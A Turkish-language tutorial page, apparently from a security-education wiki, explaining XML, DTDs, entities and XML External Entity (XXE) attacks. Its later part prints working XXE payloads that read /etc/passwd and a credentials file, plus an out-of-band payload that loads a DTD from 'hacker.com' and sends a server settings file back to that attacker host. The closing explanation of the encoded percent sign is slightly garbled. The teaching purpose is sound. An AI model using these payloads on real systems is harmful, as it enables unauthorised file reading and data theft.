Yavuzlar
Ana sayfaTelegram
  • Yavuzlar
  • VulnLab
  • CodinLab
  • 📚EĞİTİM
    • PHP
      • XAMPP kurulumu
      • VS Code Kurulum
      • 1.0 PHP Nedir
      • 1.1 Dosya Oluşturma
      • 1.2 Syntax (Yazım Kuralları)
      • 1.3 PHP'de Echo ve Print
      • 1.4 PHP'deki yorumlar
      • 1.5 PHP Değişkenleri
      • 1.6 Operatörler (Operators)
      • 1.7 Veri Türünü Alma
      • 1.8 PHP'de String
      • 1.9 PHP'de Sabitler
      • 2.0 PHP'de If Else Elseif
      • 2.1 Switch Case
      • 2.2 PHP'de Döngüler
      • 2.3 PHP'de Diziler (Arrays)
      • 2.4 PHP'de Süper Global Değişkenleri
      • 2.5 PHP'de Cookie (Çerez) Ve Session (Oturum) Yöntemleri
      • 2.6 Form işlemleri
    • C++
      • 1.0 Temeller
        • 1.1 Dosya Oluşturma
        • 1.2 Syntax (Yazım Kuralları)
        • 1.3 Yorum Satırları
        • 1.4 C++ Değişkenleri
          • 1.4.1 Değişken Türleri
        • 1.5 Operatörler (Operators)
        • 1.6 Namespace
        • 1.7 Kullanıcı Girdisi (User Input)
        • 1.8 C++ Stringleri (C++ Strings)
        • 1.9 Matematik (Math) Fonksiyonları
        • 1.10 Booleans
        • 1.11 If Else
        • 1.12 Switch
        • 1.13 While Döngüsü
          • 1.13.1 Do While Döngüsü
        • 1.14 For Döngüsü
        • 1.15 Break/Continue
        • 1.16 Diziler
        • 1.17 Structures
        • 1.18 Enums
        • 1.19 References
        • 1.20 Pointers
      • 2.0 Fonksiyonlar
      • 3.0 Sınıflar
        • 3.1 OOP
        • 3.2 Sınıflar ve Objeler
        • 3.3 Sınıf Methodları
        • 3.4 Yapıcılar (Constructors)
        • 3.5 Erişim Belirleyicileri (Access Specifiers)
        • 3.6 Kapsülleme (Encapsulation)
        • 3.7 Inheritance
        • 3.8 Polimorfizm (Polymorphism)
        • 3.9 Dosyalar (Files)
        • 3.10 İstisnalar (Exceptions)
        • 3.11 Tarih ve Zaman (Date and Time)
      • 4.0 Veri Yapıları (Data Structures)
        • 4.1 Veri Yapıları ve STL
        • 4.2 Vektörler (Vectors)
        • 4.3 Listeler (Lists)
        • 4.4 Yığınlar (Stacks)
        • 4.5 Kuyruklar (Queues)
        • 4.6 Deque (Çift Uçlu Kuyruk)
        • 4.7 Küme (Set)
        • 4.8 Maps
        • 4.9 Iterator
        • 4.10 Algoritmalar
  • 🛠️ARAÇLAR
    • Aircrack-ng
    • Airgeddon
    • Arjun
    • BeEF
    • Bettercap
    • Docker
    • Gelişmiş Wireshark Kullanımı (Advanced Wireshark Usage)
    • Google Dorks
    • Hping3
    • John the Ripper
    • Metasploit Framework
    • Netcat
    • Nmap
    • OSINT Framework
    • PEASS-ng
    • Sublist3r
    • XSS Scanner
    • Wireshark
    • ZAP
    • HYDRA
  • 🖥️İŞLETİM SİSTEMLERİ
    • Linux101
    • MBR
  • 🔑KRİPTOLOJİ
    • Dijital Sertifika ve İmzalar
    • Sezar Şifrelemesi
    • Steganografi
    • Veri Şifreleme (Data Encryption)
  • 🔏Network
    • Domain Name Server (DNS)
    • Firewall Nedir? Nasıl Çalışır ?
    • Ortadaki Adam Saldırısı (Man In The Middle Attack)
    • OSI Modeli
    • Sanal Özel Ağlar (VPN)
    • World Wide Web (WWW)
  • 🔐PRIVILEGED
    • Docker Escape
  • 📨Protokoller
    • ARP
    • DHCP
    • FTP
    • HTTP/HTTPS
    • SSH
    • TCP/IP
    • UDP
    • Wİ-Fİ Güvenlik Protokolleri (WEP/WPA/WPA2/WPA3)
  • 💻SİBER TEHDİT İSTİHBARATI
    • Gelişmiş Siber Tehdit İstihbaratı Nedir?
  • 🔒WEB GÜVENLİĞİ
    • 403 ByPass
    • API Güvenliği (API Security)
    • Broken Access Control
    • Bulut Güvenliği (Cloud Security)
    • Command Injection
    • Cross Origin Resource Sharing
    • Cross Site Request Forgery (CSRF)
    • Cyber Kill Chain
    • DDoS Saldırıları
    • File Upload Zafiyeti Nedir?
    • HTTP Request Smuggling
    • Insecure Direct Object Reference (IDOR)
    • Incident Response
    • Local File Inclusion (LFI)
    • NoSQL Injection
    • Pentest 101
    • Race Condition
    • Server Side Request Forgery (SSRF)
    • Server Side Template Injection (SSTI)
    • Spring4Shell
    • Two Factor Authentication Bypass
    • XML External Entity Attack (XEE)
  • 🤖YAPAY ZEKA
    • ChatGPT for Hacking
    • Siber Güvenlik ve Yapay Zeka
    • Yapay Zeka ile Sahte Fotoğraf Tespiti
  • 🌐YAZILIM
    • Düzenli İfadeler (Regular Expressions)
    • Elasticsearch Nedir?
    • Front-end Teknolojileri
    • Golang'da Arayüzler (Interfaces)
    • Go'da Concurrency ve Uygulamaları
    • Güvenli Kodlama (Secure Coding)
    • Java Overloading vs Overriding
    • JSON Web Token (JWT)
    • Material-UI
    • NextJS Nedir?
    • ReactJS Kancalar (Hooks)
    • ReactJS Nedir?
    • Redux Toolkit
    • SOLID Yazılım Geliştirme Prensipleri
    • SQL 101
    • UI / UX Nedir?
    • Veri Taşıma Nedir? (Database Migration)
    • Versiyon Kontrol Sistemleri ve GIT
  • 🔷DİĞER
    • Bug Bounty (Hata Ödülü) Nedir?
    • Popüler Yazılımların Kurulumları
      • Ubuntu Server 24.04 LTS Kurulumu
      • Ubuntu için Güncel Docker Engine Kurlumu
    • Güvenlik Operasyonları Merkezi Nedir?
    • Honeypot (Bal Küpü)
    • IoT Güvenliği Nedir?
    • ShellShock Exploit
    • Yük Dengeleyici (Load Balancer) Nedir?
Powered by GitBook
On this page
  • XXE (XML External Entity Attack)
  • XML (Extensible Markup Language)
  • XML DTD
  • Entity

Was this helpful?

  1. WEB GÜVENLİĞİ

XML External Entity Attack (XEE)

PreviousTwo Factor Authentication BypassNextChatGPT for Hacking

Last updated 4 months ago

Was this helpful?

XXE (XML External Entity Attack)

XML (Extensible Markup Language)

Üzerinde farklı teknolojilerin koştuğu servisler veya sistemlerin haberleşmesi için datayı ortak formatta taşımaya sağlayan bir formattır.


[!NOTE] Sample Case Örneğin bir servisten bir data çekilmek isteniyor. Ama bu dataya erişebilen sınıf Python ile yazılmış olsun. Datayı kendi servisine çekip kullanmak isteyen servis ise Java ile yazılmış olsun. İkisinin de datayı alıp göndermek üzere ortak bir dil kullanması gerekir. Bunu XML, JSON gibi data types ile yapabilir.

Örnek bir XML data;

<?xml version="1.0" encoding="UTF-8"?>  
<breakfast_menu>  
<food>  
    <name>Belgian Waffles</name>  
    <price>$5.95</price>  
    <description>  
   Two of our famous Belgian Waffles with plenty of real maple syrup  
   </description>  
    <calories>650</calories>  
</food>  
<food>  
    <name>Strawberry Belgian Waffles</name>  
    <price>$7.95</price>  
    <description>  
    Light Belgian waffles covered with strawberries and whipped cream  
    </description>  
    <calories>900</calories>  
</food>   
</breakfast_menu>

  • Bir sistem bizden XML veri alıyorsa öncelikli aranması gereken konu XXE'dir. Aslında olaya sadece XXE zafiyeti arayarak ilerlememek gerekir. Çünkü sistem bizden aldığı değeri XML formattan parse edip arkada bir SQL sorgusunda geçiriyor ise bu sefer SQLi aranabilir. Bu şekilde örnekler çoğaltılabilir.


XML DTD

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE note SYSTEM "Note.dtd">  
<note>  
	<to>Tove</to>  
	<from>Jani</from>  
	<heading>Reminder</heading>  
	<body>Don't forget me this weekend!</body>  
</note>

Note.dtd;

<!DOCTYPE note  
[  
<!ELEMENT note (to,from,heading,body)>  
<!ELEMENT to (#PCDATA)>  
<!ELEMENT from (#PCDATA)>  
<!ELEMENT heading (#PCDATA)>  
<!ELEMENT body (#PCDATA)>  
]>

Bunu farklı bir şekilde kullanmanın yolu ise

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE note  
	[  
	<!ELEMENT note (to,from,heading,body)>  
	<!ELEMENT to (#PCDATA)>  
	<!ELEMENT from (#PCDATA)>  
	<!ELEMENT heading (#PCDATA)>  
	<!ELEMENT body (#PCDATA)>  
	]>  
<note>  
	<to>Tove</to>  
	<from>Jani</from>  
	<heading>Reminder</heading>  
	<body>Don't forget me this weekend!</body>  
</note>

şeklindedir. Ama bu kullanım dinamik kullanıma aykırı olduğu için farklı bir dökümanda bu DTD'yi kullanmak istediğimiz zaman kod tekrarına düşmüş oluruz. O yüzden bu kullanım pek uygun değildir.

<!DOCTYPE note SYSTEM "Note.dtd">

XML Parser bu satırı gördüğü zaman benim bir Document Type Definition değerim var ve bunun adı da note olarak yorumluyor. Ama burada SYSTEM operandını söylüyor ve SYSTEM operandın karşılığı da ==External Document Type Definition== olarak geçer. Yani burada diyor ki gelen XML değerleri Note.dtd değerlerinde olacak demiş oluyoruz. Burada sisteme şu dosyayı oku demiş oluyoruz.


Entity

Entity aslında XML'de değişken oluşturmaya yarayan değerler olarak düşünebiliriz. Entity ile string değerler tanımlayabiliyoruz.

<!ENTITY tayfun "Tayfun Ürkut">
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE note  
	[<!ENTITY tayfun "Tayfun Ürkut">]>  
<note>  
	<to>&tayfun;</to>  
	<from>Jani</from>  
	<heading>Reminder</heading>  
	<body>Don't forget me this weekend!</body>  
</note>

Burada ELEMENT yerine ENTITY tanımlayarak oluşturmuş olduğumuz tayfun ENTITY değerine "Tayfun Ürkut" değerini atamış olduk. XML taglarinin içerisinde pointer olarak çağırdığımız tayfun değeri sayesinde artık to taglari arasında "Tayfun Ürkut" değerini göreceğiz:

<to>Tayfun Ürkut</to>

[!warning] Uyarı ENTITY operandının SYSTEM operandına erişimi vardır.

<!DOCTYPE note  [<!ENTITY tayfun SYSTEM "http://x.com/">]>  
  • Bu durumda XML kaynağının bulunduğu sistem x.com adresine HTTP requesti gönderir. Burada SYSTEM operandından sonra URI SCHEMA (Protokol Handler) değerleri kullanılıp çeşitli isteklerde bulunabilir.

Örneğin: file:///folder/file, http://x.com


Burada zafiyetin tespiti için genellikle kullanılan payloada değinecek olursak;

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE note [<!ENTITY tayfun SYSTEM "file:///etc/passwd">]>  
<note>  
	<to>&tayfun;</to>  
	<from>Jani</from>  
	<heading>Reminder</heading>  
	<body>Don't forget me this weekend!</body>  
</note>

şeklindedir.

Peki dönen cevap içerisinde bir XML format varsa;

Yani kısacası;

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE note [<!ENTITY tayfun SYSTEM "file:///home/user/creds/creds.xml">]>  
<note>  
	<to>&tayfun;</to>  
	<from>Jani</from>  
	<heading>Reminder</heading>  
	<body>Don't forget me this weekend!</body>  
</note>

==&tayfun;== yerine XML veri formatı dönüyorsa. Yani

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE note [<!ENTITY tayfun SYSTEM "file:///home/user/creds/creds.xml">]>  
<note>  
	<to><creds>hashdklafsldf</creds></</to>  
	<from>Jani</from>  
	<heading>Reminder</heading>  
	<body>Don't forget me this weekend!</body>  
</note>

gibi bir durumda XML bunu parse edemez. Kendi içerisinde XML'i parse et gibi bir değer de yoktur.

Burada devreye Parameter Entity kavramı girer. Bir örnek saldırı simüle edecek olursak XML responsunda yine bir XML değer olduğunu varsayarsak;

<?xml version="1.0"
encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://hacker.com/test.dtd">
%remote;
%int;
%trick;]>

İlk payloadımızın bu olur. Bu payload Parameter Entity değeri olan remote değerine bir HTTP isteği atar. Belirtilen URL bir .dtd dosyasını işaret eder. Dosyanın içeriği ise

<!ENTITY % payl SYSTEM "file://c:/inetpub/wwwroot/apps/webmail/app_data/settings/settings.xml">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://hacker.com/?p=payl;'>">

şeklindedir.

  • Burada ==payl== parameter entity değeri ile bir dosyaya erişim işlemi yapılır. Daha sonrasında yine tanımlanmış olan ==int== parameter entity içerisine bir entity tanımı daha yapılır; içerideki ==&=37;== değeri ==int== değerinin encoded halidir. =="trick"== değeri ile bir HTTP request daha oluşturulur ve saldırgan kendi sunucusuna ==payl== değerini parametre olarak geçer ve dosyayı okuma işlemini başarı ile sonuçlandırır.


🔒
tayfunurkut - OverviewGitHub
Bu yazı Tayfun Ürkut tarafından hazırlanmıştır.
Logo